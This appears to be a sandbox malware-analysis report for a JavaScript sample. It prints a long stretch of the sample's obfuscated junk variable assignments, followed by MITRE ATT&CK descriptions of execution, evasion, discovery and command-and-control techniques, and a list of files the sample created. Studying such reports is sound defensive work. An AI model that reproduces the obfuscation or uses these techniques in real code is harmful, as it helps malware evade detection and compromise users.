1128	jyezpoci = "j";
1129	jyezpoci = "r";
1130	jyezpoci = "h";
1131	jyezpoci = "Q";
1132	jyezpoci = "l";
1133	jyezpoci = "W";
1134	jyezpoci = "c";
1135	jyezpoci = "k";
1136	jyezpoci = "r";
1137	jyezpoci = "X";
1138	jyezpoci = "n";
1139	jyezpoci = "x";
1140	jyezpoci = "0";
1141	xvtmzza = "M";
1142	xvtmzza = "d";
1143	xvtmzza = "G";
1144	xvtmzza = "n";
1145	xvtmzza = "R";
1146	xvtmzza = "L";
1147	xvtmzza = "G";
1148	xvtmzza = "E";
1149	xvtmzza = "t";
1150	xvtmzza = "o";
1151	xvtmzza = "c";
1152	xvtmzza = "n";
1153	xvtmzza = "B";
1154	xvtmzza = "z";
1155	xvtmzza = "M";
1156	xvtmzza = "s";
1157	xvtmzza = "X";
1158	xvtmzza = "f";
1159	xvtmzza = "w";
1160	xvtmzza = "A";
1161	xvtmzza = "4";
1162	uhdczi = "y";
1163	uhdczi = "p";
1164	uhdczi = "U";
1165	uhdczi = "c";
1166	uhdczi = "g";
1167	uhdczi = "p";
1168	uhdczi = "Y";
1169	uhdczi = "z";
1170	uhdczi = "V";
1171	uhdczi = "m";
1172	uhdczi = "Z";
1173	uhdczi = "m";
1174	uhdczi = "P";
1175	uhdczi = "t";
1176	uhdczi = "Q";
1177	uhdczi = "A";
1178	uhdczi = "g";
1179	uhdczi = "W";
1180	uhdczi = "I";
1181	uhdczi = "b";
1182	uhdczi = "f";
1183	uhdczi = "z";
1184	uhdczi = "G";
1185	uhdczi = "l";
1186	uhdczi = "a";
1187	uhdczi = "C";
1188	uhdczi = "R";
1189	uhdczi = "T";
1190	uhdczi = "A";
1191	uhdczi = "Q";
1192	uhdczi = "Y";
1193	uhdczi = "t";
1194	uhdczi = "g";
1195	uhdczi = "@";
1196	llibu = "y";
1197	llibu = "E";
1198	llibu = "X";
1199	llibu = "y";
1200	llibu = "Q";
1201	llibu = "l";
1202	llibu = "d";
1203	llibu = "C";
1204	llibu = "F";
1205	llibu = "L";
1206	llibu = "j";
1207	llibu = "C";
1208	llibu = "n";
1209	llibu = "w";
1210	llibu = "D";
1211	llibu = "P";
1212	llibu = "C";
1213	llibu = "K";
1214	llibu = "m";
1215	llibu = "L";
1216	llibu = "i";
1217	llibu = "b";
1218	zfnggvp = "P";
1219	zfnggvp = "F";
1220	zfnggvp = "x";
1221	zfnggvp = "V";
1222	zfnggvp = "Q";
1223	zfnggvp = "x";
1224	zfnggvp = "R";
1225	zfnggvp = "p";
1226	zfnggvp = "o";
1227	zfnggvp = "o";
1228	zfnggvp = "f";
1229	zfnggvp = "j";
1230	zfnggvp = "M";
1231	zfnggvp = "c";
1232	zfnggvp = "d";
1233	zfnggvp = "X";
1234	zfnggvp = "B";
1235	zfnggvp = "n";
1236	worlputm = "g";
1237	worlputm = "O";
1238	worlputm = "t";
1239	worlputm = "N";
1240	worlputm = "K";
1241	worlputm = "q";
1242	worlputm = "c";
1243	worlputm = "X";
1244	worlputm = "V";
1245	worlputm = "t";
1246	worlputm = "a";
1247	worlputm = "w";
1248	worlputm = "j";
1249	worlputm = "y";
1250	worlputm = "A";
1251	worlputm = "H";
1252	worlputm = "g";
1253	worlputm = "b";
1254	worlputm = "c";
1255	worlputm = "L";
1256	worlputm = "z";
1257	worlputm = "b";
1258	worlputm = "Y";
1259	worlputm = "C";
1260	worlputm = "d";
1261	aqyth = "g";
1262	aqyth = "F";
1263	aqyth = "i";
1264	aqyth = "L";
1265	aqyth = "k";
1266	aqyth = "N";
1267	aqyth = "a";
1268	aqyth = "V";
1269	aqyth = "Y";
1270	aqyth = "i";
1271	aqyth = "h";
1272	aqyth = "P";
1273	aqyth = "d";
1274	aqyth = "D";
1275	aqyth = "S";
1276	aqyth = "z";
1277	aqyth = "J";
1278	aqyth = "Q";
1279	aqyth = "n";
1280	aqyth = "B";
1281	aqyth = "a";
1282	aqyth = "a";
1283	aqyth = "A";
1284	aqyth = "V";
1285	aqyth = "V";
1286	aqyth = "c";
1287	aqyth = "j";
1288	aqyth = "y";
1289	aqyth = "w";
1290	eaotnynk = "r";
1291	eaotnynk = "g";
1292	eaotnynk = "p";
1293	eaotnynk = "I";
1294	eaotnynk = "m";
1295	eaotnynk = "Q";
1296	eaotnynk = "A";
1297	eaotnynk = "A";
1298	eaotnynk = "f";
1299	eaotnynk = "c";
1300	eaotnynk = "t";
1301	eaotnynk = "q";
1302	eaotnynk = "b";
1303	eaotnynk = "D";
1304	eaotnynk = "w";
1305	eaotnynk = "T";
1306	eaotnynk = "u";
1307	eaotnynk = "a";
1308	eaotnynk = "R";
1309	eaotnynk = "g";
1310	eaotnynk = "Y";
1311	eaotnynk = "e";
1312	eaotnynk = "X";
1313	eaotnynk = "V";
1314	eaotnynk = "T";
1315	eaotnynk = "I";
1316	eaotnynk = "d";
1317	eaotnynk = "N";
1318	eaotnynk = "m";
1319	eaotnynk = "J";
1320	eaotnynk = "A";
1321	eaotnynk = "a";
1322	eaotnynk = "P";
1323	elmppjm = "W";
1324	elmppjm = "w";
1325	elmppjm = "W";
1326	elmppjm = "i";
1327	elmppjm = "B";
1328	elmppjm = "s";
1329	elmppjm = "z";
1330	elmppjm = "C";
1331	elmppjm = "N";
1332	elmppjm = "X";
1333	elmppjm = "F";
1334	elmppjm = "Y";
1335	elmppjm = "m";
1336	elmppjm = "k";
1337	elmppjm = "q";
1338	elmppjm = "B";
1339	elmppjm = "g";
1340	elmppjm = "m";
1341	elmppjm = "s";
1342	elmppjm = "u";
1343	elmppjm = "b";
1344	elmppjm = "C";
1345	elmppjm = "C";
1346	elmppjm = "v";
1347	elmppjm = "G";
1348	elmppjm = "B";
1349	elmppjm = "C";
1350	elmppjm = "l";
1351	elmppjm = "E";
1352	impwfp = "W";
1353	impwfp = "j";
1354	impwfp = "y";
1355	impwfp = "d";
1356	impwfp = "q";
1357	impwfp = "R";
1358	impwfp = "M";
1359	impwfp = "B";
1360	impwfp = "o";
1361	impwfp = "h";
1362	impwfp = "c";
1363	impwfp = "o";
1364	impwfp = "F";
1365	impwfp = "H";
1366	impwfp = "R";
1367	impwfp = "U";
1368	impwfp = "q";
1369	impwfp = "i";
1370	impwfp = "A";
1371	impwfp = "y";
1372	impwfp = "I";
1373	impwfp = "b";
1374	impwfp = " ";
1375	uzxwfvty = "J";
1376	uzxwfvty = "X";
1377	uzxwfvty = "L";
1378	uzxwfvty = "v";
1379	uzxwfvty = "V";
1380	uzxwfvty = "v";
1381	uzxwfvty = "k";
1382	uzxwfvty = "f";
1383	uzxwfvty = "w";
1384	uzxwfvty = "z";
1385	uzxwfvty = "D";
1386	uzxwfvty = "D";
1387	uzxwfvty = "J";
1388	uzxwfvty = "R";
1389	cfmzknot = "N";
1390	cfmzknot = "G";
1391	cfmzknot = "A";
1392	cfmzknot = "W";
1393	cfmzknot = "k";
1394	cfmzknot = "V";
1395	cfmzknot = "i";
1396	cfmzknot = "A";
1397	cfmzknot = "d";
1398	cfmzknot = "K";
1399	cfmzknot = "j";
1400	cfmzknot = "F";
1401	cfmzknot = "e";
1402	cfmzknot = "N";
1403	cfmzknot = "a";
1404	cfmzknot = "W";
1405	cfmzknot = "J";
1406	cfmzknot = "A";
1407	cfmzknot = "v";
1408	cfmzknot = "p";
1409	cfmzknot = "A";
1410	cfmzknot = "N";
1411	cfmzknot = "O";
1412	cfmzknot = "i";
1413	cfmzknot = "T";
1414	cfmzknot = "T";
1415	cfmzknot = "C";
1416	cfmzknot = "R";
1417	cfmzknot = "l";
1418	cfmzknot = "f";
1419	cfmzknot = "C";
1420	cfmzknot = "r";
1421	cfmzknot = "V";
1422	cfmzknot = "Y";
1423	cfmzknot = "V";
1424	cfmzknot = "J";
1425	cfmzknot = "I";
1426	cfmzknot = "K";
1427	cfmzknot = "M";
1428	cfmzknot = "O";
1429	tpefgd = "X";
1430	tpefgd = "o";
1431	tpefgd = "j";
1432	tpefgd = "b";
1433	tpefgd = "H";
1434	tpefgd = "t";
1435	tpefgd = "i";
1436	tpefgd = "E";
1437	tpefgd = "L";
1438	tpefgd = "o";
1439	tpefgd = "I";
1440	tpefgd = "S";
1441	tpefgd = "a";
1442	tpefgd = "L";
1443	tpefgd = "C";
1444	tpefgd = "g";
1445	tpefgd = "S";
1446	tpefgd = "e";
1447	tpefgd = "j";
1448	tpefgd = "C";
1449	tpefgd = "z";
1450	tpefgd = "f";
1451	tpefgd = "\\";
1452	owkxen = "d";
1453	owkxen = "o";
1454	owkxen = "k";
1455	owkxen = "N";
1456	owkxen = "n";
1457	owkxen = "J";
1458	owkxen = "I";
1459	owkxen = "w";
1460	owkxen = "S";
1461	owkxen = "c";
1462	owkxen = "k";
1463	owkxen = "D";
1464	owkxen = "x";
1465	owkxen = "Q";
1466	owkxen = "I";
1467	owkxen = "d";
1468	owkxen = "C";
1469	owkxen = "q";
1470	xrqlwnwu = "z";
1471	xrqlwnwu = "S";
1472	xrqlwnwu = "b";
1473	xrqlwnwu = "U";
1474	xrqlwnwu = "e";
1475	xrqlwnwu = "o";
1476	eqzxcj = "X";
1477	eqzxcj = "e";
1478	eqzxcj = "R";
1479	eqzxcj = "G";
1480	eqzxcj = "p";
1481	eqzxcj = "R";
1482	eqzxcj = "O";
1483	eqzxcj = "n";
1484	eqzxcj = "m";
1485	eqzxcj = "k";
1486	eqzxcj = "A";
1487	eqzxcj = "x";
1488	eqzxcj = "L";
1489	eqzxcj = "a";
1490	eqzxcj = "V";
1491	eqzxcj = "M";
1492	eqzxcj = "b";
1493	eqzxcj = "I";
1494	eqzxcj = "c";
1495	eqzxcj = "e";
1496	eqzxcj = "f";
1497	eqzxcj = "Q";
1498	eqzxcj = "i";
1499	eqzxcj = "Y";
1500	eqzxcj = "H";
1501	eqzxcj = "Y";
1502	eqzxcj = "Z";
1503	eqzxcj = "d";
1504	eqzxcj = "N";
1505	eqzxcj = "A";
1506	eqzxcj = "V";
1507	eqzxcj = "U";
1508	eqzxcj = "S";
1509	eqzxcj = "o";
1510	eqzxcj = "x";
1511	eqzxcj = "g";
1512	eqzxcj = "X";
1513	eqzxcj = "f";
1514	eqzxcj = "r";
1515	eqzxcj = "a";
1516	dxurtqlu = "X";
1517	dxurtqlu = "h";
1518	dxurtqlu = "j";
1519	dxurtqlu = "l";
1520	dxurtqlu = "E";
1521	dxurtqlu = "r";
1522	dxurtqlu = "J";
1523	dxurtqlu = "p";
1524	dxurtqlu = "e";
1525	dxurtqlu = "h";
1526	dxurtqlu = "s";
1527	dxurtqlu = "h";
1528	dxurtqlu = "i";
1529	dxurtqlu = "v";
1530	dxurtqlu = "U";
1531	dxurtqlu = "Y";
1532	dxurtqlu = "j";
1533	dxurtqlu = "j";
1534	dxurtqlu = "R";
1535	dxurtqlu = "C";
1536	dxurtqlu = "l";
1537	dxurtqlu = "s";
1538	dxurtqlu = "g";
1539	dxurtqlu = "j";
1540	dxurtqlu = "k";
1541	dxurtqlu = "h";
1542	dxurtqlu = "Z";
1543	dxurtqlu = "I";
1544	dxurtqlu = "A";
1545	dxurtqlu = "m";
1546	dxurtqlu = "X";
1547	dxurtqlu = "E";
1548	dxurtqlu = "k";
1549	dxurtqlu = "U";
1550	dxurtqlu = "E";
1551	dxurtqlu = "Y";
1552	dxurtqlu = "z";
1553	dxurtqlu = "n";
1554	dxurtqlu = "Q";
1555	qysdra = "S";
1556	qysdra = "i";
1557	kjwwxx = "K";
1558	kjwwxx = "X";
1559	kjwwxx = "L";
1560	kjwwxx = "l";
1561	izludzrzr ( );	izludzrzr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1861217272584230862.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF66c37e.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d09726d8-f560-4405-8a64-2b2a5d884b30.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\da195a1f-a09e-45c2-8678-e07352c3a6c8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1861217272584230862.js